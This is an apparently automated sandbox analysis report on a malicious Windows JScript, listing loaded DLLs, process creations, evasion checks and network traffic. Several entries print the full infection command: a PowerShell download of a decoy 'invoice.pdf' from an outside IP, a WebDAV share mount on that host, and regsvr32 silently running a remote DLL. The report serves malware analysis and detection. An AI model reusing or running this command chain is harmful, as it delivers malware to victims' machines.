Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8056.js.csv");ITextStream.WriteLine(" entry:7528 f:fynsc");ITextStream.WriteLine(" exec:2 f:fynsc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4197			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5513			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep count: 4197 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep count: 5513 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1548	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1506160846.0000020F12D40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@x
Source: net.exe, 00000007.00000003.1493045048.0000020F12DA1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1507272894.0000020F12DA1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2728408533.000001BCFC658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2726376027.000001BCFB02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
